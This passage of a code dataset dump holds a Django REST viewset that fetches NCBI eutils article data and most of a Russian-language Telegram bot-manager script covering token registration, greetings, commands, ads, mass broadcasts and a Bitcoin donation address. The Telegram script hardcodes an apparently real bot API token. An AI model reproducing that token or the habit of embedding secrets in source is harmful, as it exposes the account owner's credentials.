"call"}, {"api_name": "auditlog.models.LogEntry", "line_number": 57, "usage_type": "name"}]} {"seq_id": "19943991", "text": "# -*- coding: utf-8 -*-\nfrom collections import OrderedDict\nimport requests\n\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom rest_framework import viewsets\nfrom rest_framework.decorators import action\nfrom rest_framework.exceptions import APIException\nfrom rest_framework.filters import SearchFilter\nfrom rest_framework.response import Response\nfrom rest_framework.status import HTTP_200_OK\n\nfrom . import filters, models, serializers, services\n\n\nclass ArticleViewSet(viewsets.ModelViewSet):\n \"\"\"ViewSet for viewing and editing Articles.\"\"\"\n\n queryset = models.Article.objects.fast()\n serializer_class = serializers.ArticleSerializer\n filter_backends = (DjangoFilterBackend, SearchFilter)\n filterset_class = filters.ArticleFilter\n search_fields = ('description', )\n\n @action(detail=True, methods=['get'], url_path='eutils')\n def eutils(self, request, pk=None):\n instance = self.get_object()\n efetch = requests.get(instance.fetch_url)\n esummary = requests.get(instance.summary_url)\n\n if efetch.status_code != 200:\n raise APIException(\n detail='Could not fetch from eutils',\n code=efetch.status_code,\n )\n\n if esummary.status_code != 200:\n raise APIException(\n detail='Could not fetch from eutils',\n code=esummary.status_code,\n )\n\n data = services.parse_efetch(\n efetch.text,\n esummary.json(),\n instance.identifier\n )\n\n return Response(OrderedDict(data), HTTP_200_OK)\n", "sub_path": "literature_knowledgebase/viewsets.py", "file_name": "viewsets.py", "file_ext": "py", "file_size_in_byte": 1601, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 16, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 16, "usage_type": "name"}, {"api_name": "django_filters.rest_framework.DjangoFilterBackend", "line_number": 21, "usage_type": "name"}, {"api_name": "rest_framework.filters.SearchFilter", "line_number": 21, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 28, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 29, "usage_type": "call"}, {"api_name": "rest_framework.exceptions.APIException", "line_number": 32, "usage_type": "call"}, {"api_name": "rest_framework.exceptions.APIException", "line_number": 38, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 49, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 49, "usage_type": "argument"}, {"api_name": "collections.OrderedDict", "line_number": 49, "usage_type": "call"}, {"api_name": "rest_framework.decorators.action", "line_number": 25, "usage_type": "call"}]} {"seq_id": "1709951", "text": "# coding: utf8\r\nimport telebot\r\nimport func\r\nimport connector\r\nfrom multiprocessing import Process\r\nfrom message_templates import *\r\nimport re\r\nimport imgur\r\n\r\ncommands_validate_pattern = re.compile(r'/[A-Za-z_]+')\r\nprocesses = {}\r\ntoken = '638360024:AAGohOi4-86lRzixBH1rK4JQmgKwRo_R4M4'\r\nbot = telebot.TeleBot(token)\r\nclient_status = {}\r\n\r\n\r\ndef dispatch(user_id, text, _bot=None, for_all=False):\r\n if not for_all:\r\n users = DB.get_all_users(user_id=user_id, bot=_bot)\r\n bot_token = DB.get_one_time_token(user_id=user_id, bot_name=_bot)[0][0]\r\n __bot = telebot.TeleBot(bot_token)\r\n for user in users[0][0].split():\r\n print('Sending to user {}, message: {}'.format(user, text))\r\n __bot.send_message(chat_id=user, text=text)\r\n else:\r\n data = DB.select_info_for_all_dispatch(user_id=user_id)\r\n for _token in data:\r\n __bot = telebot.TeleBot(_token)\r\n for user in data[_token]:\r\n __bot.send_message(chat_id=user, text=text)\r\n\r\n\r\ndef get_bot_name(_token):\r\n return telebot.TeleBot(_token).get_me().username\r\n\r\n\r\ndef check_token(_token):\r\n driver = telebot.TeleBot(_token)\r\n try:\r\n driver.get_me()\r\n return True\r\n except:\r\n return False\r\n\r\n\r\n@bot.message_handler(commands=['start', 'run'])\r\ndef greeting(message):\r\n markup = telebot.types.ReplyKeyboardMarkup(one_time_keyboard=False, resize_keyboard=True)\r\n markup.row('Добавить бота', 'Мои боты')\r\n markup.row('Как это работает?', 'Поддержка')\r\n bot.send_message(message.chat.id,\r\n text=how,\r\n reply_markup=markup,\r\n parse_mode='Markdown')\r\n\r\n\r\n@bot.message_handler(content_types=[\"text\", 'photo'])\r\ndef add_bot(message):\r\n if message.text == 'Добавить бота':\r\n reset_option(message)\r\n markup = telebot.types.InlineKeyboardMarkup()\r\n cancel_button = telebot.types.InlineKeyboardButton(text='Отмена', callback_data='Отмена')\r\n markup.add(cancel_button)\r\n bot.send_message(message.chat.id, text='Отправьте токен, или перешлите сообщение с токеном от @BotFather.',\r\n reply_markup=markup)\r\n client_status[message.from_user.id] = {'token': 'wait'}\r\n elif message.text == 'Мои боты':\r\n reset_option(message)\r\n bot_settings(msg=message)\r\n elif message.text == 'Как это работает?':\r\n reset_option(message)\r\n bot.send_message(message.chat.id, text=how,\r\n parse_mode='Markdown')\r\n elif message.text == 'Поддержка':\r\n reset_option(message)\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n donate = telebot.types.InlineKeyboardButton(text='Донат', callback_data='donate')\r\n keyboard.add(donate)\r\n bot.send_message(message.chat.id, text=support, reply_markup=keyboard)\r\n elif message.from_user.id in client_status and 'token' in client_status[message.from_user.id]:\r\n add_new_bot(message)\r\n elif message.from_user.id in client_status and 'option' in client_status[message.from_user.id]:\r\n bot_name = client_status[message.from_user.id]['bot_name']\r\n main_bots_settings(message=message, user_id=message.from_user.id,\r\n option=client_status[message.from_user.id]['option'],\r\n value=message.text,\r\n bot_name=bot_name if bot_name != 'all' else False)\r\n\r\n\r\ndef add_new_bot(message):\r\n if client_status[message.from_user.id]['token'] == 'wait':\r\n if len(message.text.split()) == 1:\r\n _token = message.text\r\n else:\r\n try:\r\n _token = message.text.split('\\n\\n')[1].split('API:\\n')[1]\r\n except IndexError:\r\n return bot.send_message(chat_id=message.from_user.id, text='Токен необнаружен. Попробуйте снова.')\r\n client_status[message.from_user.id]['token'] = _token\r\n try:\r\n if client_status[message.from_user.id]['token'] not in DB.get_all_tokens(extend=True):\r\n if check_token(client_status[message.from_user.id]['token']):\r\n process = Process(target=func.main, args=(_token, message.from_user.id))\r\n name = get_bot_name(_token)\r\n if str(message.from_user.id) not in processes:\r\n processes[str(message.from_user.id)] = {name: process}\r\n else:\r\n processes[str(message.from_user.id)].update({name: process})\r\n process.start()\r\n DB.insert_new_bot(user=str(message.from_user.id),\r\n bot_name=get_bot_name(client_status[message.from_user.id]['token']),\r\n token=client_status[message.from_user.id]['token'])\r\n bot.send_message(message.chat.id, text='*Бот создан.*', parse_mode='Markdown')\r\n bot_settings(message)\r\n else:\r\n bot.send_message(message.chat.id, text='Токен невалидный. Попробуйте снова.')\r\n client_status[message.from_user.id]['token'] = 'wait'\r\n else:\r\n client_status[message.from_user.id]['token'] = 'wait'\r\n bot.send_message(message.chat.id, text='Бот с таким токеном уже существует. Попробуйте снова.')\r\n except Exception as bot_create_error:\r\n bot.send_message(message.chat.id, bot_create_error)\r\n\r\n\r\ndef reset_option(message):\r\n if message.from_user.id in client_status:\r\n user = client_status[message.from_user.id]\r\n if 'option' in user:\r\n del client_status[message.from_user.id]['option']\r\n if 'token' in user:\r\n del client_status[message.from_user.id]['token']\r\n\r\n\r\ndef validate_commands(commands):\r\n result = commands_validate_pattern.findall(commands)\r\n if result:\r\n return len(result) > 1, result\r\n\r\n\r\ndef add_more_commands(commands, message):\r\n commands_set = []\r\n for command in commands:\r\n if command not in [x[0] for x in DB.get_commands(_all=True, user_id=message.from_user.id)]:\r\n print(command)\r\n DB.add_command(user_id=message.from_user.id, command=command, msg='empty')\r\n else:\r\n commands_set.append(command)\r\n if commands_set:\r\n message_text = '('+', '.join(commands_set).strip(', ')+')'\r\n bot.send_message(chat_id=message.from_user.id,\r\n text='Некоторые из команд у Вас уже есть. {}\\nОни небыли добавлены.'.format(message_text))\r\n else:\r\n bot.send_message(chat_id=message.from_user.id, text='Команды добавлены.')\r\n return True\r\n return False\r\n\r\n\r\ndef main_bots_settings(message, user_id, option, bot_name=False, value=False):\r\n if bot_name:\r\n if option == 'first':\r\n DB.reset_greeting(user_id=user_id, bot_name=client_status[user_id]['bot_name'],\r\n new_greeting=value)\r\n del client_status[user_id]['option']\r\n return set_greetings(chat_id=user_id)\r\n elif option == 'delay':\r\n if value.isdigit():\r\n DB.set_greeting_delay(user_id=user_id, value=value,\r\n bot_name=client_status[user_id]['bot_name'])\r\n del client_status[user_id]['option']\r\n bot.send_message(user_id, text='Готово.')\r\n else:\r\n bot.send_message(message.from_user.id, text='Введите задержку в секундах, например: *18*',\r\n parse_mode='Markdown')\r\n return\r\n elif option == 'second':\r\n DB.reset_greeting(second=True, user_id=user_id, new_greeting=value, bot_name=bot_name)\r\n bot.send_message(user_id, text='Готово.')\r\n del client_status[user_id]['option']\r\n return set_greetings(chat_id=user_id)\r\n elif option == 'dispatch':\r\n dispatch(_bot=bot_name, user_id=user_id, text=message.text)\r\n bot.send_message(message.chat.id, text='Рассылка окончена.')\r\n else:\r\n if option in ['first', 'delay', 'second']:\r\n if option == 'first':\r\n DB.reset_greeting(user_id=user_id, new_greeting=value)\r\n bot.send_message(user_id, text='Готово.')\r\n del client_status[user_id]['option']\r\n return set_greetings(chat_id=user_id, _all=True)\r\n elif option == 'delay':\r\n if value.isdigit():\r\n DB.set_greeting_delay(user_id=user_id, value=value, for_all=True)\r\n else:\r\n bot.send_message(user_id, text='Введите задержку в секундах, например: *18*',\r\n parse_mode='Markdown')\r\n return\r\n elif option == 'second':\r\n DB.reset_greeting(second=True, user_id=user_id, new_greeting=value)\r\n bot.send_message(user_id, text='Готово.')\r\n del client_status[user_id]['option']\r\n return set_greetings(chat_id=user_id, _all=True)\r\n elif option == 'dispatch':\r\n dispatch(for_all=True, user_id=user_id, text=message.text)\r\n bot.send_message(message.chat.id, text='Рассылка окончена.')\r\n elif option == 'add':\r\n validate = validate_commands(message.text)\r\n if not validate[0]:\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n cancel = telebot.types.InlineKeyboardButton(text='Отмена', callback_data='cancel')\r\n keyboard.add(cancel)\r\n if message.text not in [x[0] for x in DB.get_commands(_all=True, user_id=message.from_user.id)]:\r\n if message.text.startswith('/'):\r\n client_status[user_id]['command'] = validate[1][0]\r\n client_status[user_id]['option'] = 'set_value'\r\n bot.send_message(chat_id=user_id, text='Укажите значение для команды *(только текст или смайлы)*',\r\n parse_mode='Markdown', reply_markup=keyboard)\r\n else:\r\n bot.send_message(user_id, text='Ошибочный формат команды. Попробуйте снова.',\r\n reply_markup=keyboard)\r\n return\r\n return bot.send_message(message.chat.id, text='У Вас уже есть такая команда. Укажите другое имя.',\r\n reply_markup=keyboard)\r\n else:\r\n add_more_commands(validate[1], message)\r\n elif option == 'set_value':\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n next_step = telebot.types.InlineKeyboardButton(text='Завершить', callback_data='next')\r\n keyboard.add(next_step)\r\n client_status[user_id]['value'] = message.text\r\n client_status[user_id]['option'] = 'set_image'\r\n bot.send_message(chat_id=user_id, text='Отправьте фото. (нажмите завершить чтобы пропустить этот шаг)',\r\n reply_markup=keyboard)\r\n return\r\n elif option == 'set_image':\r\n command = client_status[user_id]['command']\r\n value = client_status[user_id]['value']\r\n _file_id = bot.get_file(message.photo[-1].file_id)\r\n path = _file_id.file_path\r\n image_url = str(imgur.upload_image(path))\r\n DB.add_command(user_id=user_id, command=command, msg=value, image=image_url)\r\n elif option == 'edit':\r\n msg = message.text\r\n DB.update_command(user_id=user_id, command=client_status[user_id]['command'], value=msg)\r\n bot.send_message(user_id, text='Готово.')\r\n commands_settings(chat_id=user_id, user_id=user_id, get=True)\r\n del client_status[user_id]['option']\r\n return\r\n del client_status[user_id]['option']\r\n bot.send_message(user_id, text='Готово.')\r\n get_two_level_settings(send=True, message=message, bot_name=client_status[message.from_user.id]['bot_name'])\r\n\r\n\r\ndef bot_settings(msg, edit=False):\r\n if msg.from_user.id in client_status:\r\n del client_status[msg.from_user.id]\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n bots = DB.get_bots(user_id=str(msg.from_user.id))\r\n if bots:\r\n for i in bots:\r\n url_button = telebot.types.InlineKeyboardButton(text=i[0], callback_data=i[0])\r\n keyboard.add(url_button)\r\n change_all_greetings = telebot.types.InlineKeyboardButton(text='Все боты',\r\n callback_data='all')\r\n keyboard.add(change_all_greetings)\r\n if not edit:\r\n bot.send_message(msg.chat.id, 'Настройка ботов.', reply_markup=keyboard)\r\n else:\r\n bot.edit_message_text(chat_id=msg.message.chat.id,\r\n message_id=msg.message.message_id, text=\"Настройка ботов.\",\r\n reply_markup=keyboard)\r\n else:\r\n bot.send_message(msg.chat.id, text='У Вас нет ботов.')\r\n\r\n\r\ndef get_two_level_settings(message, bot_name, send=False):\r\n client_status[message.from_user.id] = {'bot_name': bot_name}\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n if bot_name != 'all':\r\n ad = DB.manage_ad(get=True, bot_name=bot_name, user_id=message.from_user.id)[0][0]\r\n second_status = DB.get_second_greeting_status(user_id=message.from_user.id,\r\n bot_name=client_status[message.from_user.id]['bot_name'])[0][0]\r\n ad_status = ('✖️ Реклама', 'on_ad') if not ad else ('️✔ Реклама', 'off_ad')\r\n bot_status = ('✖️ Приветствие', 'on') if DB.off_greeting(get_status=True,\r\n user_id=message.from_user.id,\r\n bot_name=client_status[message.from_user.id]['bot_name']) == '0' else ('️✔ Приветствие', 'off')\r\n second_greeting = ('✖️ Второе приветствие', 'on_second') if not second_status else ('✔️ Второе приветствие',\r\n 'off_second')\r\n else:\r\n second_greeting = ('✖️ Второе приветствие', 'on_second')\r\n bot_status = ('✖ Приветствие', 'on')\r\n ad_status = ('✖️ Реклама', 'on_ad')\r\n for i in DB.get_bots(user_id=message.from_user.id):\r\n if DB.off_greeting(get_status=True, user_id=message.from_user.id, bot_name=i[0]) == '1':\r\n bot_status = ('✔️ Приветствие', 'off')\r\n break\r\n for i in DB.get_bots(user_id=message.from_user.id):\r\n ad = DB.manage_ad(get=True, bot_name=i[0], user_id=message.from_user.id)[0][0]\r\n if ad:\r\n ad_status = ('️✔ Реклама', 'off_ad')\r\n break\r\n for i in DB.get_second_greeting_status(for_all=True, user_id=message.from_user.id):\r\n if i[0] == 1:\r\n second_greeting = ('✔️️ Второе приветствие', 'off_second')\r\n break\r\n text = 'Настройка всех ботов' if bot_name == 'all' else 'Настройка бота @{}'.format(bot_name)\r\n set_ad = telebot.types.InlineKeyboardButton(text=ad_status[0], callback_data=ad_status[1])\r\n set_greeting_button = telebot.types.InlineKeyboardButton(text='Настройка приветствий', callback_data='greeting')\r\n set_delay_button = telebot.types.InlineKeyboardButton(text='Установить задержку', callback_data='delay')\r\n on_greeting_button = telebot.types.InlineKeyboardButton(text=bot_status[0], callback_data=bot_status[1])\r\n back_button = telebot.types.InlineKeyboardButton(text='Назад', callback_data='back')\r\n users = telebot.types.InlineKeyboardButton(text='Пользователи', callback_data='users')\r\n spam_list = telebot.types.InlineKeyboardButton(text='Чёрный список', callback_data='spam')\r\n delete_bot = telebot.types.InlineKeyboardButton(text='Удалить бота' if bot_name != 'all' else 'Удалить ботов',\r\n callback_data='delB')\r\n second_greeting_active = telebot.types.InlineKeyboardButton(text=second_greeting[0],\r\n callback_data=second_greeting[1])\r\n my_buttons = telebot.types.InlineKeyboardButton(text='Мои кнопки', callback_data='m_buttons')\r\n add_button = telebot.types.InlineKeyboardButton(text='Добавить кнопку', callback_data='a_button')\r\n keyboard.add(on_greeting_button, second_greeting_active)\r\n if bot_name == 'all':\r\n commands_button = telebot.types.InlineKeyboardButton(text='Мои команды', callback_data='get_commands_list')\r\n add_command_button = telebot.types.InlineKeyboardButton(text='Добавить команду', callback_data='add_command')\r\n keyboard.add(set_ad, commands_button)\r\n keyboard.add(add_command_button, set_delay_button)\r\n keyboard.add(set_greeting_button, delete_bot)\r\n keyboard.add(my_buttons, add_button)\r\n keyboard.add(back_button, users)\r\n if bot_name != 'all':\r\n keyboard.add(set_ad, set_delay_button)\r\n keyboard.add(set_greeting_button, spam_list)\r\n keyboard.add(users, delete_bot)\r\n keyboard.add(my_buttons, add_button)\r\n keyboard.add(back_button)\r\n if not send:\r\n bot.edit_message_text(chat_id=message.message.chat.id, message_id=message.message.message_id,\r\n text=text,\r\n reply_markup=keyboard)\r\n else:\r\n bot.send_message(message.from_user.id, text=text, reply_markup=keyboard)\r\n\r\n\r\ndef add_button_callback(call):\r\n pass\r\n\r\n\r\ndef commands_settings(chat_id, user_id, msg_id='', get=False):\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n delete_button = telebot.types.InlineKeyboardButton(text='Удалить', callback_data='delete_command')\r\n edit_button = telebot.types.InlineKeyboardButton(text='Изменить значение', callback_data='edit_command')\r\n show_message_button = telebot.types.InlineKeyboardButton(text='Показать значение',\r\n callback_data='show_command')\r\n back_btn = telebot.types.InlineKeyboardButton(text='Назад', callback_data='get_commands_list')\r\n keyboard.add(edit_button, show_message_button)\r\n keyboard.add(back_btn, delete_button)\r\n if not get:\r\n bot.edit_message_text(chat_id=chat_id, message_id=msg_id,\r\n text='Настройка команды {}'.format(client_status[user_id]['command']),\r\n reply_markup=keyboard)\r\n else:\r\n bot.send_message(chat_id=chat_id, text='Настройка команды {}'.format(client_status[user_id]['command']),\r\n reply_markup=keyboard)\r\n\r\n\r\ndef get_commands_list(call):\r\n commands = DB.get_commands(_all=True, user_id=call.from_user.id)\r\n if commands:\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n for i in commands:\r\n command_btn = telebot.types.InlineKeyboardButton(text=i[0], callback_data=i[0])\r\n keyboard.add(command_btn)\r\n cancel = telebot.types.InlineKeyboardButton(text='Назад', callback_data='cancel')\r\n keyboard.add(cancel)\r\n return bot.edit_message_text(chat_id=call.from_user.id, message_id=call.message.message_id,\r\n text='Список Ваших команд', reply_markup=keyboard)\r\n bot.send_message(call.from_user.id, text='У Вас нет команд')\r\n\r\n\r\ndef user_commands_callback(call):\r\n if call.from_user.id in client_status:\r\n client_status[call.from_user.id]['command'] = call.data\r\n commands_settings(chat_id=call.message.chat.id, user_id=call.from_user.id, msg_id=call.message.message_id)\r\n\r\n\r\ndef cancel_callback(call):\r\n if call.from_user.id in client_status:\r\n if 'bot_name' in client_status[call.from_user.id]:\r\n get_two_level_settings(call, client_status[call.from_user.id]['bot_name'])\r\n if 'option' in client_status[call.from_user.id]:\r\n del client_status[call.from_user.id]['option']\r\n\r\n\r\ndef second_greeting_callback(call):\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n back_button = telebot.types.InlineKeyboardButton(text='Назад', callback_data='greeting')\r\n keyboard.add(back_button)\r\n try:\r\n client_status[call.from_user.id]['option'] = call.data\r\n except KeyError:\r\n pass\r\n if call.from_user.id in client_status and client_status[call.from_user.id]['bot_name'] == 'all':\r\n bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id,\r\n text='Установить второе приветствие для всех ботов.',\r\n reply_markup=keyboard)\r\n else:\r\n if call.from_user.id in client_status and 'bot_name' in client_status[call.from_user.id]:\r\n _bot = client_status[call.from_user.id]['bot_name']\r\n bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id,\r\n text='Установить второе приветствие для: @{}'.format(_bot),\r\n reply_markup=keyboard)\r\n\r\n\r\ndef on_first_greeting_callback(call):\r\n if call.from_user.id in client_status and 'bot_name' in client_status[call.from_user.id]:\r\n bot_name = client_status[call.from_user.id]['bot_name']\r\n if bot_name != 'all':\r\n DB.off_greeting(user_id=call.from_user.id, bot_name=client_status[call.from_user.id]['bot_name'],\r\n value='1')\r\n else:\r\n for i in DB.get_bots(user_id=call.from_user.id):\r\n DB.off_greeting(user_id=call.from_user.id, bot_name=i[0],\r\n value='1')\r\n get_two_level_settings(call, client_status[call.from_user.id]['bot_name'])\r\n\r\n\r\ndef off_first_greeting_callback(call):\r\n if call.from_user.id in client_status and 'bot_name' in client_status[call.from_user.id]:\r\n bot_name = client_status[call.from_user.id]['bot_name']\r\n if bot_name != 'all':\r\n DB.off_greeting(user_id=call.from_user.id, bot_name=client_status[call.from_user.id]['bot_name'],\r\n value='0')\r\n else:\r\n for i in DB.get_bots(user_id=call.from_user.id):\r\n DB.off_greeting(user_id=call.from_user.id, bot_name=i[0],\r\n value='0')\r\n get_two_level_settings(call, client_status[call.from_user.id]['bot_name'])\r\n\r\n\r\ndef set_option_callback(call):\r\n if call.from_user.id in client_status and 'bot_name' in client_status[call.from_user.id]:\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n back_button = telebot.types.InlineKeyboardButton(text='Назад', callback_data='cancel')\r\n keyboard.add(back_button)\r\n client_status[call.from_user.id]['option'] = call.data\r\n if client_status[call.from_user.id]['bot_name'] == 'all':\r\n bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id,\r\n text=option_text['for_all'][call.data],\r\n reply_markup=keyboard)\r\n else:\r\n bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id,\r\n text=option_text['for_one'][call.data].format(\r\n '@' + client_status[call.from_user.id]['bot_name']),\r\n reply_markup=keyboard)\r\n\r\n\r\ndef add_command_callback(call):\r\n if call.from_user.id in client_status:\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n cancel = telebot.types.InlineKeyboardButton(text='Назад', callback_data='cancel')\r\n keyboard.add(cancel)\r\n bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id,\r\n text='Укажите название команды.\\nНапример:\\n/price\\n/my_shop\\n/pay',\r\n reply_markup=keyboard)\r\n client_status[call.from_user.id]['option'] = 'add'\r\n\r\n\r\ndef ad_trigger_callback(call):\r\n if call.from_user.id in client_status and 'bot_name' in client_status[call.from_user.id]:\r\n bot_name = client_status[call.from_user.id]['bot_name']\r\n if call.data == 'off_ad':\r\n if bot_name != 'all':\r\n DB.manage_ad(bot_name=bot_name, user_id=call.from_user.id,\r\n ad_status=0)\r\n else:\r\n DB.manage_ad(for_all=True, user_id=call.from_user.id, ad_status=0)\r\n elif call.data == 'on_ad':\r\n if bot_name != 'all':\r\n DB.manage_ad(bot_name=bot_name, user_id=call.from_user.id,\r\n ad_status=1)\r\n else:\r\n DB.manage_ad(for_all=True, user_id=call.from_user.id, ad_status=1)\r\n get_two_level_settings(call, bot_name)\r\n\r\n\r\ndef delete_command_callback(call):\r\n if call.from_user.id in client_status and 'command' in client_status[call.from_user.id]:\r\n DB.delete_command(user_id=call.from_user.id, command=client_status[call.from_user.id]['command'])\r\n get_commands_list(call)\r\n\r\n\r\ndef show_command_value_callback(call):\r\n if call.from_user.id in client_status and 'command' in client_status[call.from_user.id]:\r\n info = DB.get_commands(user_id=call.from_user.id, command=client_status[call.from_user.id]['command'])\r\n bot.send_message(call.from_user.id, text=info)\r\n\r\n\r\ndef edit_command_callback(call):\r\n if call.from_user.id in client_status:\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n cancel = telebot.types.InlineKeyboardButton(text='Назад', callback_data='back_cm')\r\n keyboard.add(cancel)\r\n client_status[call.from_user.id]['option'] = 'edit'\r\n bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id,\r\n text='Укажите новое значение для команды.', reply_markup=keyboard)\r\n\r\n\r\ndef dispatch_callback(call):\r\n if call.from_user.id in client_status:\r\n client_status[call.from_user.id]['option'] = 'dispatch'\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n cancel = telebot.types.InlineKeyboardButton(text='Назад', callback_data='cancel')\r\n keyboard.add(cancel)\r\n bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id,\r\n text='Введите сообщение. *(только текст и/или смайлы)*',\r\n parse_mode='Markdown',\r\n reply_markup=keyboard)\r\n\r\n\r\ndef users_callback(call):\r\n if call.from_user.id in client_status and 'bot_name' in client_status[call.from_user.id]:\r\n bot_name = client_status[call.from_user.id]['bot_name']\r\n if bot_name == 'all':\r\n msg = 'Вы можете отправить сообщение пользователям всех Ваших ботов'\r\n else:\r\n msg = 'Вы можете отослать сообщение всем пользователям бота @{}'.format(bot_name)\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n dispatch_button = telebot.types.InlineKeyboardButton(text='Рассылка', callback_data='dispatch')\r\n cancel = telebot.types.InlineKeyboardButton(text='Назад', callback_data='cancel')\r\n keyboard.add(dispatch_button)\r\n keyboard.add(cancel)\r\n bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id,\r\n text=msg,\r\n reply_markup=keyboard)\r\n\r\n\r\ndef delete_bot_menu_callback(call):\r\n if call.from_user.id in client_status and 'bot_name' in client_status[call.from_user.id]:\r\n _bot_name = client_status[call.from_user.id]['bot_name']\r\n keyboard = telebot.types.InlineKeyboardMarkup()\r\n yes = telebot.types.InlineKeyboardButton(text='Да', callback_data='delete_bot')\r\n no = telebot.types.InlineKeyboardButton(text='Нет', callback_data='cancel')\r\n keyboard.add(yes)\r\n keyboard.add(no)\r\n if _bot_name != 'all':\r\n msg = 'Вы уверены что хотите удалить бота @{}?'.format(_bot_name)\r\n else:\r\n msg = 'Вы уверены что хотите удалить всех ботов?'\r\n bot.edit_message_text(chat_id=call.message.chat.id,\r\n message_id=call.message.message_id,\r\n text=msg,\r\n reply_markup=keyboard)\r\n\r\n\r\ndef delete_bot_callback(call):\r\n if call.from_user.id in client_status and 'bot_name' in client_status[call.from_user.id] and str(\r\n call.from_user.id) in processes:\r\n _bot_name = client_status[call.from_user.id]['bot_name']\r\n if _bot_name != 'all':\r\n DB.delete_bot(user_id=call.from_user.id, bot_name=_bot_name)\r\n bot_process = processes[str(call.from_user.id)][_bot_name]\r\n if bot_process.is_alive():\r\n bot_process.terminate()\r\n del processes[str(call.from_user.id)][_bot_name]\r\n bot.answer_callback_query(text='Бот отключён и удалён', callback_query_id=call.id, show_alert=True)\r\n print('BOT {} was deleted.'.format(_bot_name))\r\n else:\r\n DB.delete_all_bots(user_id=call.from_user.id)\r\n for i in processes[str(call.from_user.id)].values():\r\n if i.is_alive():\r\n i.terminate()\r\n del processes[str(call.from_user.id)]\r\n bot.answer_callback_query(text='Боты отключёны и удалёны', callback_query_id=call.id,\r\n show_alert=True)\r\n print('All user {} bots was deleted.'.format(call.from_user.id))\r\n bots = DB.get_bots(user_id=call.from_user.id)\r\n if not bots:\r\n bot.edit_message_text(chat_id=call.message.chat.id,\r\n message_id=call.message.message_id,\r\n text='У Вас нет ботов.')\r\n else:\r\n bot_settings(msg=call, edit=True)\r\n\r\n\r\ndef set_greetings_callback(call):\r\n if call.from_user.id in client_status and 'bot_name' in client_status[call.from_user.id]:\r\n pointer = True if client_status[call.from_user.id]['bot_name'] == 'all' else False\r\n set_greetings(call.message.chat.id, call.message.message_id, edit=True, _all=pointer)\r\n\r\n\r\ndef second_greeting_activate_callback(call):\r\n bot_name = client_status[call.from_user.id]['bot_name']\r\n if bot_name != 'all':\r\n DB.activate_second_greeting(user_id=call.from_user.id, bot_name=bot_name)\r\n else:\r\n if call.data == 'off_second':\r\n value = 0\r\n else:\r\n value = 1\r\n DB.activate_second_greeting(user_id=call.from_user.id, for_all=True, value=value)\r\n get_two_level_settings(call, bot_name)\r\n\r\n\r\ndef donate_callback(call):\r\n bot.send_message(chat_id=call.message.chat.id,\r\n text='📥 Вы можете поддержать нас отправив Bitcoin\\n\\n`Средства поступят через 1 подтверждение сети.`',\r\n parse_mode='Markdown')\r\n bot.send_message(chat_id=call.message.chat.id,\r\n text='*17xDn9FC5BRHSPPEvP6bFT6znVBJLm5msX*',\r\n parse_mode='Markdown')\r\n bot.send_photo(call.message.chat.id, open(r\"QR.jpg\", 'rb').read())\r\n\r\n\r\n@bot.callback_query_handler(func=lambda call: True)\r\ndef callback_inline(call):\r\n if call.message:\r\n if call.data == 'cancel':\r\n cancel_callback(call)\r\n elif call.data == 'second':\r\n second_greeting_callback(call)\r\n elif call.data in ['off_second', 'on_second']:\r\n second_greeting_activate_callback(call)\r\n elif call.data == 'next':\r\n command = client_status[call.from_user.id]['command']\r\n value = client_status[call.from_user.id]['value']\r\n DB.add_command(user_id=call.from_user.id, command=command, msg=value)\r\n del client_status[call.from_user.id]['option']\r\n bot.send_message(call.from_user.id, text='Готово.')\r\n get_two_level_settings(send=True, message=call, bot_name=client_status[call.from_user.id]['bot_name'])\r\n elif call.data == 'on':\r\n on_first_greeting_callback(call)\r\n elif call.data == 'off':\r\n off_first_greeting_callback(call)\r\n elif call.data in ['on_ad', 'off_ad']:\r\n ad_trigger_callback(call)\r\n elif call.data in ['first', 'delay']:\r\n set_option_callback(call)\r\n elif call.data == 'back':\r\n bot_settings(call, edit=True)\r\n elif call.data == 'Отмена':\r\n if call.from_user.id in client_status:\r\n del client_status[call.from_user.id]\r\n bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id,\r\n text='Отменено')\r\n elif call.data == 'Назад':\r\n if call.from_user.id in client_status:\r\n del client_status[call.from_user.id]\r\n bot_settings(msg=call, edit=True)\r\n elif call.data == 'get_commands_list':\r\n get_commands_list(call)\r\n elif call.data == 'add_command':\r\n add_command_callback(call)\r\n elif call.data == 'delete_command':\r\n delete_command_callback(call)\r\n elif call.data == 'donate':\r\n donate_callback(call)\r\n elif call.data == 'show_command':\r\n show_command_value_callback(call)\r\n elif call.data == 'edit_command':\r\n edit_command_callback(call)\r\n elif call.data == 'back_cm':\r\n reset_option(call)\r\n commands_settings(chat_id=call.message.chat.id, user_id=call.from_user.id, msg_id=call.message.message_id)\r\n elif call.data == 'dispatch':\r\n dispatch_callback(call)\r\n elif call.data == 'users':\r\n users_callback(call)\r\n elif call.data == 'spam':\r\n 